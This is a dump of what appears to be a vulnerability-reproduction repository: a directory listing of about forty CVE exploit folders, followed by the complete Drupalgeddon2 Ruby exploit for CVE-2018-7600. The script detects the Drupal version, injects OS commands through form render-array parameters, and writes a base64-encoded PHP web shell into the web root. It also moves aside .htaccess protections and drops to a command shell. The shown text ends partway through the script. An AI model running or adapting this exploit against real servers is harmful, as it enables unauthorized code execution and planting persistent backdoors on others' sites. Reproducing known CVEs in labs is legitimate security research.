├── 2020_09_09_Drupal远程代码执行漏洞（CVE-2018-7600）
    ├── 0.png
    ├── drupalggedon2.rb
    └── readme.md
├── 2020_09_09_Jupyter Notebook未授权访问漏洞复现
    ├── 0.png
    ├── 1.png
    └── readme.md
├── 2020_09_09_PHPMailer远程命令执行漏洞复现（CVE-2016-10033）
    ├── 0.png
    └── readme.md
├── 2020_09_09_Webmin远程命令执行漏洞复现（CVE-2019-15107）
    ├── 0.png
    ├── 1.png
    └── readme.md
├── 2020_09_09_Windows Print Spooler权限提升漏洞（CVE-2020-1337）
    ├── 0.png
    ├── cve-2020-1337-poc-master.zip
    └── readme.md
├── 2020_10_09_Apache Flink任意jar包上传漏洞复现
    ├── 0.png
    ├── 1.png
    ├── 2.png
    ├── 3.png
    ├── 4.png
    └── readme.md
├── 2020_10_09_Apache Solr远程代码执行漏洞复现（CVE-2019-12409）
    ├── 1.png
    ├── 2.png
    └── readme.md
├── 2020_10_12_RedHat 5.4权限提升漏洞复现（CVE-2010-3847）
    ├── b1.png
    ├── cve-2010-3847.sh
    └── readme.md
├── 2020_10_13_Tomcat任意文件写入漏洞复现（CVE-2017-12615）
    ├── f0.png
    ├── f1.png
    └── readme.md
├── 2020_10_15_（未复现）VMware vCenter未验证的任意文件读取漏洞
    └── readme.md
├── 2020_10_19_ThinkAdmin列目录和任意文件读取漏洞复现（CVE-2020-25540）
    ├── 0.png
    ├── 1.png
    ├── 2.png
    └── readme.md
├── 2020_10_26_如何绕过“请在微信客户端打开链接”的限制
    ├── 0.png
    ├── 1.png
    ├── 2.png
    ├── 3.png
    ├── 4.png
    └── readme.md
├── 2020_11_10_Tomcat WebSocket 拒绝服务漏洞复现（CVE-2020-13935）
    ├── WebSocketClient.js
    ├── WebSocketServlet.java
    ├── a.png
    ├── a0.png
    ├── a1.png
    ├── a2.png
    ├── a3.png
    ├── b.png
    ├── c.png
    ├── d.png
    ├── e.png
    ├── f.png
    ├── readme.md
    └── tcdos
├── 2020_11_11_Citrix远程代码执行漏洞复现（CVE-2019-19781）
    ├── 0.png
    ├── CVE-2019-19781.zip
    └── readme.md
├── 2020_11_11_Discuz 7.x 6.x 全局变量防御绕过导致远程代码执行
    ├── 0.png
    └── readme.md
├── 2020_11_11_Supervisord远程代码执行漏洞复现（CVE-2017-11610）
    ├── 0.png
    ├── poc.py
    └── readme.md
├── 2020_11_11_ThinkCMF远程代码执行漏洞复现
    ├── 0.png
    ├── 1.png
    ├── ThinkCMFX_2.2.3.zip
    └── readme.md
├── 2020_11_11_Windows SMBv3本地权限提升漏洞复现（CVE-2020-0796）
    ├── 0.png
    ├── cve-2020-0796-local提权工具.exe
    └── readme.md
├── 2020_11_11_Windows UAC本地权限提升漏洞（CVE-2019-1388）
    ├── 0.png
    ├── 1.png
    ├── 2.png
    ├── 3.png
    ├── 4.png
    ├── 5.png
    ├── 6.png
    ├── hhupd.exe
    └── readme.md
├── 2020_11_11_phpstudy后门漏洞复现
    ├── 0.png
    ├── 1.png
    └── readme.md
├── 2020_11_11_“git泄漏”漏洞复现
    ├── 0.png
    ├── 1.png
    ├── GitHack-master.zip
    └── readme.md
├── 2020_11_12_Tomcat JmxRemoteLifecycleListener远程代码执行漏洞复现（CVE-2016-8735）
    ├── a0.png
    ├── a1.png
    ├── a2.png
    ├── a3.png
    ├── a4.png
    └── readme.md
├── 2020_11_13_Microsoft SQL Server Reporting Services权限提升漏洞复现（CVE-2020-0618）
    └── readme.md
├── 2020_11_13_PHPUnit远程代码执行漏洞复现（CVE-2017-9841）
    ├── 0.png
    ├── 1.png
    └── readme.md
├── 2020_11_13_iis6.0（cve-2017-7269）最完整的利用，从远程利用，到本地提权，再到常见失败原因
    └── readme.md
├── 2020_11_15_Windows RDP服务远程代码执行漏洞复现（CVE-2019-0708）-BlueKeep
    ├── cve_2019_0708_bluekeep.rb
    ├── cve_2019_0708_bluekeep_rce.rb
    ├── rdp.rb
    ├── rdp_scanner.rb
    └── readme.md
├── 2020_11_18_Citrix XenMobile目录遍历漏洞复现（CVE-2020-8209）
    ├── 0.png
    ├── 1.png
    └── readme.md
├── 2020_12_10_（未成功）Microsoft Exchange Server 2010远程代码执行漏洞复现（CVE-2020-17144）
    ├── 0.png
    ├── CVE-2020-17144.exe
    └── readme.md
├── 2020_12_17_S2-061远程代码执行漏洞复现（CVE-2020-17530）
    ├── 0.png
    ├── 1.png
    ├── 2.png
    ├── 3.png
    ├── 4.png
    ├── 5.png
    ├── 6.png
    ├── readme.md
    ├── s2-061-batch-detect-exp.py
    └── s2-061-batch-detect.py
├── 2021_01_10_通达OA未授权访问+文件上传导致RCE
    ├── 0.png
    └── readme.md
├── 2021_01_11_ThinkPHP远程命令执行漏洞复现
    ├── 0.png
    ├── readme.md
    └── thinkphp版本总结.txt
├── 2021_01_18_JumpServer远程代码执行漏洞
    ├── 0.png
    ├── a0.png
    ├── a1.png
    ├── jumpserver-rce.py
    ├── quick_start.sh
    └── readme.md
├── 2021_01_27_SonicWall SSL-VPN远程命令执行漏洞复现
    ├── 0.png
    ├── 1.png
    ├── batch-detect.py
    ├── readme.md
    └── urls.txt
├── 2021_02_06_Linux sudo权限提升漏洞复现（CVE-2021-3156）
    ├── CVE-2021-3156.zip
    ├── a0.png
    ├── a1.png
    ├── b0.png
    ├── b1.png
    ├── c0.png
    └── readme.md
├── 2021_02_24_WebLogic远程命令执行漏洞复现（CVE-2021-2109）
    ├── 0.png
    └── readme.md
├── 2021_02_28_VMware vCenter Server未授权文件上传导致RCE漏洞复现
    ├── pic
    │   ├── 0.png
    │   └── readme.md
    └── readme.md
└── README.md


/2020_09_09_Drupal远程代码执行漏洞（CVE-2018-7600）/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/safesword/WebExp/1987e403734000d6346135fbd789ceb34b03ddde/2020_09_09_Drupal远程代码执行漏洞（CVE-2018-7600）/0.png


--------------------------------------------------------------------------------
/2020_09_09_Drupal远程代码执行漏洞（CVE-2018-7600）/drupalggedon2.rb:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env ruby
  2 | #
  3 | # [CVE-2018-7600] Drupal <= 8.5.0 / <= 8.4.5 / <= 8.3.8 / 7.23 <= 7.57 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
  4 | #
  5 | # Authors:
  6 | # - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
  7 | # - g0tmi1k   ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
  8 | #
  9 | 
 10 | 
 11 | require 'base64'
 12 | require 'json'
 13 | require 'net/http'
 14 | require 'openssl'
 15 | require 'readline'
 16 | require 'highline/import'
 17 | 
 18 | 
 19 | # Settings - Try to write a PHP to the web root?
 20 | try_phpshell = true
 21 | # Settings - General/Stealth
 22 | $useragent = "drupalgeddon2"
 23 | webshell = "shell.php"
 24 | # Settings - Proxy information (nil to disable)
 25 | $proxy_addr = nil
 26 | $proxy_port = 8080
 27 | 
 28 | 
 29 | # Settings - Payload (we could just be happy without this PHP shell, by using just the OS shell - but this is 'better'!)
 30 | bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
 31 | bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"
 32 | 
 33 | 
 34 | # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 35 | 
 36 | 
 37 | # Function http_request <url> [type] [data]
 38 | def http_request(url, type="get", payload="", cookie="")
 39 |   puts verbose("HTTP - URL : #{url}") if $verbose
 40 |   puts verbose("HTTP - Type: #{type}") if $verbose
 41 |   puts verbose("HTTP - Data: #{payload}") if not payload.empty? and $verbose
 42 | 
 43 |   begin
 44 |     uri = URI(url)
 45 |     request = type =~ /get/? Net::HTTP::Get.new(uri.request_uri) : Net::HTTP::Post.new(uri.request_uri)
 46 |     request.initialize_http_header({"User-Agent" => $useragent})
 47 |     request.initialize_http_header("Cookie" => cookie) if not cookie.empty?
 48 |     request.body = payload if not payload.empty?
 49 |     return $http.request(request)
 50 |   rescue SocketError
 51 |     puts error("Network connectivity issue")
 52 |   rescue Errno::ECONNREFUSED => e
 53 |     puts error("The target is down ~ #{e.message}")
 54 |     puts error("Maybe try disabling the proxy (#{$proxy_addr}:#{$proxy_port})...") if $proxy_addr
 55 |   rescue Timeout::Error => e
 56 |     puts error("The target timed out ~ #{e.message}")
 57 |   end
 58 | 
 59 |   # If we got here, something went wrong.
 60 |   exit
 61 | end
 62 | 
 63 | 
 64 | # Function gen_evil_url <cmd> [method] [shell] [phpfunction]
 65 | def gen_evil_url(evil, element="", shell=false, phpfunction="passthru")
 66 |   puts info("Payload: #{evil}") if not shell
 67 |   puts verbose("Element    : #{element}") if not shell and not element.empty? and $verbose
 68 |   puts verbose("PHP fn     : #{phpfunction}") if not shell and $verbose
 69 | 
 70 |   # Vulnerable parameters: #access_callback / #lazy_builder / #pre_render / #post_render
 71 |   # Check the version to match the payload
 72 |   if $drupalverion.start_with?("8") and element == "mail"
 73 |     # Method #1 - Drupal v8.x: mail, #post_render - HTTP 200
 74 |     url = $target + $clean_url + $form + "?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
 75 |     payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpfunction + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
 76 | 
 77 |   elsif $drupalverion.start_with?("8") and element == "timezone"
 78 |     # Method #2 - Drupal v8.x: timezone, #lazy_builder - HTTP 500 if phpfunction=exec // HTTP 200 if phpfunction=passthru
 79 |     url = $target + $clean_url + $form + "?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
 80 |     payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=" + phpfunction + "&timezone[a][#lazy_builder][][]=" + evil
 81 | 
 82 |     #puts warning("WARNING: May benefit to use a PHP web shell") if not try_phpshell and phpfunction != "passthru"
 83 | 
 84 |   elsif $drupalverion.start_with?("7") and element == "name"
 85 |     # Method #3 - Drupal v7.x: name, #post_render - HTTP 200
 86 |     url = $target + "#{$clean_url}#{$form}&name[%23post_render][]=" + phpfunction + "&name[%23type]=markup&name[%23markup]=" + evil
 87 |     payload = "form_id=user_pass&_triggering_element_name=name"
 88 |   end
 89 | 
 90 |   # Drupal v7.x needs an extra value from a form
 91 |   if $drupalverion.start_with?("7")
 92 |     response = http_request(url, "post", payload, $session_cookie)
 93 | 
 94 |     form_name = "form_build_id"
 95 |     puts verbose("Form name  : #{form_name}") if $verbose
 96 | 
 97 |     form_value = response.body.match(/input type="hidden" name="#{form_name}" value="(.*)"/).to_s.slice(/value="(.*)"/, 1).to_s.strip
 98 |     puts warning("WARNING: Didn't detect #{form_name}") if form_value.empty?
 99 |     puts verbose("Form value : #{form_value}") if $verbose
100 | 
101 |     url = $target + "#{$clean_url}file/ajax/name/%23value/" + form_value
102 |     payload = "#{form_name}=#{form_value}"
103 |   end
104 | 
105 |   return url, payload
106 | end
107 | 
108 | 
109 | # Function clean_result <input>
110 | def clean_result(input)
111 |   #result = JSON.pretty_generate(JSON[response.body])
112 |   #result = $drupalverion.start_with?("8")? JSON.parse(clean)[0]["data"] : clean
113 |   clean = input.to_s.strip
114 | 
115 |   # PHP function: passthru
116 |   # For: <payload>[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
117 |   clean.slice!(/\[{"command":".*}\]$/)
118 | 
119 |   # PHP function: exec
120 |   # For: [{"command":"insert","method":"replaceWith","selector":null,"data":"<payload>\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
121 |   #clean.slice!(/\[{"command":".*data":"/)
122 |   #clean.slice!(/\\u003Cspan class=\\u0022.*}\]$/)
123 | 
124 |   # Newer PHP for an older Drupal
125 |   # For: <b>Deprecated</b>:  assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br />
126 |   #clean.slice!(/<b>.*<br \/>/)
127 | 
128 |   # Drupal v8.x Method #2 ~ timezone, #lazy_builder, passthru, HTTP 500
129 |   # For: <b>Deprecated</b>:  assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br />
130 |   clean.slice!(/The website encountered an unexpected error.*/)
131 | 
132 |   return clean
133 | end
134 | 
135 | 
136 | # Feedback when something goes right
137 | def success(text)
138 |   # Green
139 |   return "\e[#{32}m[+]\e[0m #{text}"
140 | end
141 | 
142 | # Feedback when something goes wrong
143 | def error(text)
144 |   # Red
145 |   return "\e[#{31}m[-]\e[0m #{text}"
146 | end
147 | 
148 | # Feedback when something may have issues
149 | def warning(text)
150 |   # Yellow
151 |   return "\e[#{33}m[!]\e[0m #{text}"
152 | end
153 | 
154 | # Feedback when something doing something
155 | def action(text)
156 |   # Blue
157 |   return "\e[#{34}m[*]\e[0m #{text}"
158 | end
159 | 
160 | # Feedback with helpful information
161 | def info(text)
162 |   # Light blue
163 |   return "\e[#{94}m[i]\e[0m #{text}"
164 | end
165 | 
166 | # Feedback for the overkill
167 | def verbose(text)
168 |   # Dark grey
169 |   return "\e[#{90}m[v]\e[0m #{text}"
170 | end
171 | 
172 | 
173 | # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
174 | 
175 | def init_authentication()
176 |   $uname = ask('Enter your username:  ') { |q| q.echo = false }
177 |   $passwd = ask('Enter your password:  ') { |q| q.echo = false }
178 |   $uname_field = ask('Enter the name of the username form field:  ') { |q| q.echo = true }
179 |   $passwd_field = ask('Enter the name of the password form field:  ') { |q| q.echo = true }
180 |   $login_path = ask('Enter your login path (e.g., user/login):  ') { |q| q.echo = true }
181 |   $creds_suffix = ask('Enter the suffix eventually required after the credentials in the login HTTP POST request (e.g., &form_id=...):  ') { |q| q.echo = true }
182 | end
183 | 
184 | def is_arg(args, param)
185 |   args.each do |arg|
186 |     if arg == param
187 |       return true
188 |     end
189 |   end
190 |   return false
191 | end
192 | 
193 | 
194 | # Quick how to use
195 | def usage()
196 |   puts 'Usage: ruby drupalggedon2.rb <target> [--authentication] [--verbose]'
197 |   puts 'Example for target that does not require authentication:'
198 |   puts '       ruby drupalgeddon2.rb https://example.com'
199 |   puts 'Example for target that does require authentication:'
200 |   puts '       ruby drupalgeddon2.rb https://example.com --authentication'
201 | end
202 | 
203 | 
204 | # Read in values
205 | if ARGV.empty?
206 |   usage()
207 |   exit
208 | end
209 | 
210 | $target = ARGV[0]
211 | init_authentication() if is_arg(ARGV, '--authentication')
212 | $verbose = is_arg(ARGV, '--verbose')
213 | 
214 | 
215 | # Check input for protocol
216 | $target = "http://#{$target}" if not $target.start_with?("http")
217 | # Check input for the end
218 | $target += "/" if not $target.end_with?("/")
219 | 
220 | 
221 | # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
222 | 
223 | 
224 | # Banner
225 | puts action("--==[::#Drupalggedon2::]==--")
226 | puts "-"*80
227 | puts info("Target : #{$target}")
228 | puts info("Proxy  : #{$proxy_addr}:#{$proxy_port}") if $proxy_addr
229 | puts info("Write? : Skipping writing PHP web shell") if not try_phpshell
230 | puts "-"*80
231 | 
232 | 
233 | # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
234 | 
235 | 
236 | # Setup connection
237 | uri = URI($target)
238 | $http = Net::HTTP.new(uri.host, uri.port, $proxy_addr, $proxy_port)
239 | 
240 | # Use SSL/TLS if needed
241 | if uri.scheme == "https"
242 |   $http.use_ssl = true
243 |   $http.verify_mode = OpenSSL::SSL::VERIFY_NONE
244 | end
245 | 
246 | $session_cookie = ''
247 | # If authentication required then login and get session cookie
248 | if $uname
249 |   $payload = $uname_field + '=' + $uname + '&' + $passwd_field + '=' + $passwd + $creds_suffix
250 |   response = http_request($target + $login_path, 'post', $payload, $session_cookie)
251 |   if (response.code == '200' or response.code == '303') and not response.body.empty? and response['set-cookie']
252 |     $session_cookie = response['set-cookie'].split('; ')[0]
253 |     puts success("Logged in - Session Cookie : #{$session_cookie}")
254 |   end
255 | 
256 | end
257 | 
258 | # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
259 | 
260 | 
261 | # Try and get version
262 | $drupalverion = ""
263 | 
264 | # Possible URLs
265 | url = [
266 |   # --- changelog ---
267 |   # Drupal v6.x / v7.x [200]
268 |   $target + "CHANGELOG.txt",
269 |   # Drupal v8.x [200]
270 |   $target + "core/CHANGELOG.txt",
271 | 
272 |   # --- bootstrap ---
273 |   # Drupal v7.x / v6.x [403]
274 |   $target + "includes/bootstrap.inc",
275 |   # Drupal v8.x [403]
276 |   $target + "core/includes/bootstrap.inc",
277 | 
278 |   # --- database ---
279 |   # Drupal v7.x / v6.x  [403]
280 |   $target + "includes/database.inc",
281 |   # Drupal v7.x [403]
282 |   #$target + "includes/database/database.inc",
283 |   # Drupal v8.x [403]
284 |   #$target + "core/includes/database.inc",
285 | 
286 |   # --- landing page ---
287 |   # Drupal v8.x / v7.x [200]
288 |   $target,
289 | ]
290 | 
291 | # Check all
292 | url.each do|uri|
293 |   # Check response
294 |   response = http_request(uri, 'get', '', $session_cookie)
295 | 
296 |   # Check header
297 |   if response['X-Generator'] and $drupalverion.empty?
298 |     header = response['X-Generator'].slice(/Drupal (.*) \(https:\/\/www.drupal.org\)/, 1).to_s.strip
299 | 
300 |     if not header.empty?
301 |       $drupalverion = "#{header}.x" if $drupalverion.empty?
302 |       puts success("Header : v#{header} [X-Generator]")
303 |       puts verbose("X-Generator: #{response['X-Generator']}") if $verbose
304 |     end
305 |   end
306 | 
307 |   # Check request response, valid
308 |   if response.code == "200"
309 |     tmp = $verbose ?  "    [HTTP Size: #{response.size}]"  : ""
310 |     puts success("Found  : #{uri}    (HTTP Response: #{response.code})#{tmp}")
311 | 
312 |     # Check to see if it says: The requested URL "http://<URL>" was not found on this server.
313 |     puts warning("WARNING: Could be a false-positive [1-1], as the file could be reported to be missing") if response.body.downcase.include? "was not found on this server"
314 | 
315 |     # Check to see if it says: <h1 class="js-quickedit-page-title title page-title">Page not found</h1> <div class="content">The requested page could not be found.</div>
316 |     puts warning("WARNING: Could be a false-positive [1-2], as the file could be reported to be missing") if response.body.downcase.include? "the requested page could not be found"
317 | 
318 |     # Only works for CHANGELOG.txt
319 |     if uri.match(/CHANGELOG.txt/)
320 |       # Check if valid. Source ~ https://api.drupal.org/api/drupal/core%21CHANGELOG.txt/8.5.x // https://api.drupal.org/api/drupal/CHANGELOG.txt/7.x
321 |       puts warning("WARNING: Unable to detect keyword 'drupal.org'") if not response.body.downcase.include? "drupal.org"
322 | 
323 |       # Patched already? (For Drupal v8.4.x / v7.x)
324 |       puts warning("WARNING: Might be patched! Found SA-CORE-2018-002: #{url}") if response.body.include? "SA-CORE-2018-002"
325 | 
326 |       # Try and get version from the file contents (For Drupal v8.4.x / v7.x)
327 |       $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip
328 | 
329 |       # Blank if not valid
330 |       $drupalverion = "" if not $drupalverion[-1] =~ /\d/
331 |     end
332 | 
333 |     # Check meta tag
334 |     if not response.body.empty?
335 |       # For Drupal v8.x / v7.x
336 |       meta = response.body.match(/<meta name="Generator" content="Drupal (.*) /)
337 |       metatag = meta.to_s.slice(/meta name="Generator" content="Drupal (.*) \(http/, 1).to_s.strip
338 | 
339 |       if not metatag.empty?
340 |         $drupalverion = "#{metatag}.x" if $drupalverion.empty?
341 |         puts success("Metatag: v#{$drupalverion} [Generator]")
342 |         puts verbose(meta.to_s) if $verbose
343 |       end
344 |     end
345 | 
346 |     # Done! ...if a full known version, else keep going... may get lucky later!
347 |     break if not $drupalverion.end_with?("x") and not $drupalverion.empty?
348 |   end
349 | 
350 |   # Check request response, not allowed
351 |   if response.code == "403" and $drupalverion.empty?
352 |     tmp = $verbose ?  "    [HTTP Size: #{response.size}]"  : ""
353 |     puts success("Found  : #{uri}    (HTTP Response: #{response.code})#{tmp}")
354 | 
355 |     if $drupalverion.empty?
356 |       # Try and get version from the URL (For Drupal v.7.x/v6.x)
357 |       $drupalverion = uri.match(/includes\/database.inc/)? "7.x/6.x" : "" if $drupalverion.empty?
358 |       # Try and get version from the URL (For Drupal v8.x)
359 |       $drupalverion = uri.match(/core/)? "8.x" : "" if $drupalverion.empty?
360 | 
361 |       # If we got something, show it!
362 |       puts success("URL    : v#{$drupalverion}?") if not $drupalverion.empty?
363 |     end
364 | 
365 |   else
366 |     tmp = $verbose ?  "    [HTTP Size: #{response.size}]"  : ""
367 |     puts warning("MISSING: #{uri}    (HTTP Response: #{response.code})#{tmp}")
368 |   end
369 | end
370 | 
371 | 
372 | # Feedback
373 | if not $drupalverion.empty?
374 |   status = $drupalverion.end_with?("x")? "?" : "!"
375 |   puts success("Drupal#{status}: v#{$drupalverion}")
376 | else
377 |   puts error("Didn't detect Drupal version")
378 |   exit
379 | end
380 | 
381 | if not $drupalverion.start_with?("8") and not $drupalverion.start_with?("7")
382 |   puts error("Unsupported Drupal version (#{$drupalverion})")
383 |   exit
384 | end
385 | puts "-"*80
386 | 
387 | 
388 | 
389 | 
390 | # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
391 | 
392 | 
393 | 
394 | # The attack vector to use
395 | $form = $drupalverion.start_with?("8")? "user/register" : "user/password"
396 | 
397 | # Make a request, check for form
398 | url = "#{$target}?q=#{$form}"
399 | puts action("Testing: Form   (#{$form})")
400 | response = http_request(url, 'get', '', $session_cookie)
401 | if response.code == "200" and not response.body.empty?
402 |   puts success("Result : Form valid")
403 | elsif response['location']
404 |   puts error("Target is NOT exploitable [5] (HTTP Response: #{response.code})...   Could try following the redirect: #{response['location']}")
405 |   exit
406 | elsif response.code == "404"
407 |   puts error("Target is NOT exploitable [4] (HTTP Response: #{response.code})...   Form disabled?")
408 |   exit
409 | elsif response.code == "403"
410 |   puts error("Target is NOT exploitable [3] (HTTP Response: #{response.code})...   Form blocked?")
411 |   exit
412 | elsif response.body.empty?
413 |   puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})...   Got an empty response")
414 |   exit
415 | else
416 |   puts warning("WARNING: Target may NOT exploitable [1] (HTTP Response: #{response.code})")
417 | end
418 | 
419 | 
420 | puts "- "*40
421 | 
422 | 
423 | # Make a request, check for clean URLs status ~ Enabled: /user/register   Disabled: /?q=user/register
424 | # Drupal v7.x needs it anyway
425 | $clean_url = $drupalverion.start_with?("8")? "" : "?q="
426 | url = "#{$target}#{$form}"
427 | 
428 | puts action("Testing: Clean URLs")
429 | response = http_request(url, 'get', '', $session_cookie)
430 | if response.code == "200" and not response.body.empty?
431 |   puts success("Result : Clean URLs enabled")
432 | else
433 |   $clean_url = "?q="
434 |   puts warning("Result : Clean URLs disabled (HTTP Response: #{response.code})")
435 |   puts verbose("response.body: #{response.body}") if $verbose
436 | 
437 |   # Drupal v8.x needs it to be enabled
438 |   if $drupalverion.start_with?("8")
439 |     puts error("Sorry dave... Required for Drupal v8.x... So... NOPE NOPE NOPE")
440 |     exit
441 |   elsif $drupalverion.start_with?("7")
442 |     puts info("Isn't an issue for Drupal v7.x")
443 |   end
444 | end
445 | puts "-"*80
446 | 
447 | 
448 | # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
449 | 
450 | 
451 | # Values in gen_evil_url for Drupal v8.x
452 | elementsv8 = [
453 |   "mail",
454 |   "timezone",
455 | ]
456 | # Values in gen_evil_url for Drupal v7.x
457 | elementsv7 = [
458 |   "name",
459 | ]
460 | 
461 | elements = $drupalverion.start_with?("8") ? elementsv8 : elementsv7
462 | 
463 | elements.each do|e|
464 |   $element = e
465 | 
466 |   # Make a request, testing code execution
467 |   puts action("Testing: Code Execution   (Method: #{$element})")
468 | 
469 |   # Generate a random string to see if we can echo it
470 |   random = (0...8).map { (65 + rand(26)).chr }.join
471 |   url, payload = gen_evil_url("echo #{random}", e)
472 | 
473 |   response = http_request(url, "post", payload, $session_cookie)
474 |   if (response.code == "200" or response.code == "500") and not response.body.empty?
475 |     result = clean_result(response.body)
476 |     if not result.empty?
477 |       puts success("Result : #{result}")
478 | 
479 |       if response.body.match(/#{random}/)
480 |         puts success("Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!")
481 |         break
482 | 
483 |       else
484 |         puts warning("WARNING: Target MIGHT be exploitable [4]...   Detected output, but didn't MATCH expected result")
485 |       end
486 | 
487 |     else
488 |       puts warning("WARNING: Target MIGHT be exploitable [3] (HTTP Response: #{response.code})...   Didn't detect any INJECTED output (disabled PHP function?)")
489 |     end
490 | 
491 |     puts warning("WARNING: Target MIGHT be exploitable [5]...   Blind attack?") if response.code == "500"
492 | 
493 |     puts verbose("response.body: #{response.body}") if $verbose
494 |     puts verbose("clean_result: #{result}") if not result.empty? and $verbose
495 | 
496 |   elsif response.body.empty?
497 |     puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})...   Got an empty response")
498 |     exit
499 | 
500 |   else
501 |     puts error("Target is NOT exploitable [1] (HTTP Response: #{response.code})")
502 |     puts verbose("response.body: #{response.body}") if $verbose
503 |     exit
504 |   end
505 | 
506 |   puts "- "*40 if e != elements.last
507 | end
508 | 
509 | puts "-"*80
510 | 
511 | 
512 | # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
513 | 
514 | 
515 | # Location of web shell & used to signal if using PHP shell
516 | webshellpath = ""
517 | prompt = "drupalgeddon2"
518 | 
519 | # Possibles paths to try
520 | paths = [
521 |   # Web root
522 |   "",
523 |   # Required for setup
524 |   "sites/default/",
525 |   "sites/default/files/",
526 |   # They did something "wrong", chmod -R 0777 .
527 |   #"core/",
528 | ]
529 | # Check all (if doing web shell)
530 | paths.each do|path|
531 |   # Check to see if there is already a file there
532 |   puts action("Testing: Existing file   (#{$target}#{path}#{webshell})")
533 | 
534 |   response = http_request("#{$target}#{path}#{webshell}", 'get', '', $session_cookie)
535 |   if response.code == "200"
536 |     puts warning("Response: HTTP #{response.code} // Size: #{response.size}.   ***Something could already be there?***")
537 |   else
538 |     puts info("Response: HTTP #{response.code} // Size: #{response.size}")
539 |   end
540 | 
541 |   puts "- "*40
542 | 
543 | 
544 |   # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
545 | 
546 | 
547 |   folder = path.empty? ? "./" : path
548 |   puts action("Testing: Writing To Web Root   (#{folder})")
549 | 
550 |   # Merge locations
551 |   webshellpath = "#{path}#{webshell}"
552 | 
553 |   # Final command to execute
554 |   cmd = "#{bashcmd} | tee #{webshellpath}"
555 | 
556 |   # By default, Drupal v7.x disables the PHP engine using: ./sites/default/files/.htaccess
557 |   # ...however, Drupal v8.x disables the PHP engine using: ./.htaccess
558 |   if path == "sites/default/files/"
559 |     puts action("Moving : ./sites/default/files/.htaccess")
560 |     cmd = "mv -f #{path}.htaccess #{path}.htaccess-bak; #{cmd}"
561 |   end
562 | 
563 |   # Generate evil URLs
564 |   url, payload = gen_evil_url(cmd, $element)
565 |   # Make the request
566 |   response = http_request(url, "post", payload, $session_cookie)
567 |   # Check result
568 |   if response.code == "200" and not response.body.empty?
569 |     # Feedback
570 |     result = clean_result(response.body)
571 |     puts success("Result : #{result}") if not result.empty?
572 | 
573 |     # Test to see if backdoor is there (if we managed to write it)
574 |     response = http_request("#{$target}#{webshellpath}", "post", "c=hostname", $session_cookie)
575 |     if response.code == "200" and not response.body.empty?
576 |       puts success("Very Good News Everyone! Wrote to the web root! Waayheeeey!!!")
577 |       break
578 | 
579 |     elsif response.code == "404"
580 |       puts warning("Target is NOT exploitable [2-4] (HTTP Response: #{response.code})...   Might not have write access?")
581 | 
582 |     elsif response.code == "403"
583 |       puts warning("Target is NOT exploitable [2-3] (HTTP Response: #{response.code})...   May not be able to execute PHP from here?")
584 | 
585 |     elsif response.body.empty?
586 |       puts warning("Target is NOT exploitable [2-2] (HTTP Response: #{response.code})...   Got an empty response back")
587 | 
588 |     else
589 |       puts warning("Target is NOT exploitable [2-1] (HTTP Response: #{response.code})")
590 |       puts verbose("response.body: #{response.body}") if $verbose
591 |     end
592 | 
593 |   elsif response.code == "500" and not response.body.empty?
594 |     puts warning("Target MAY of been exploited... Bit of blind leading the blind")
595 |     break
596 | 
597 |   elsif response.code == "404"
598 |     puts warning("Target is NOT exploitable [1-4] (HTTP Response: #{response.code})...   Might not have write access?")
599 | 
600 |   elsif response.code == "403"
601 |     puts warning("Target is NOT exploitable [1-3] (HTTP Response: #{response.code})...   May not be able to execute PHP from here?")
602 | 
603 |   elsif response.body.empty?
604 |     puts warning("Target is NOT exploitable [1-2] (HTTP Response: #{response.code}))...   Got an empty response back")
605 | 
606 |   else
607 |     puts warning("Target is NOT exploitable [1-1] (HTTP Response: #{response.code})")
608 |     puts verbose("response.body: #{response.body}") if $verbose
609 |   end
610 | 
611 |   webshellpath = ""
612 | 
613 |   puts "- "*40 if path != paths.last
614 | end if try_phpshell
615 | 
616 | # If a web path was set, we exploited using PHP!
617 | if not webshellpath.empty?
618 |   # Get hostname for the prompt
619 |   prompt = response.body.to_s.strip if response.code == "200" and not response.body.empty?
620 | 
621 |   puts "-"*80
622 |   puts info("Fake PHP shell:   curl '#{$target}#{webshellpath}' -d 'c=hostname'")
623 | # Should we be trying to call commands via PHP?
624 | elsif try_phpshell
625 |   puts warning("FAILED : Couldn't find a writeable web path")
626 |   puts "-"*80
627 |   puts action("Dropping back to direct OS commands")
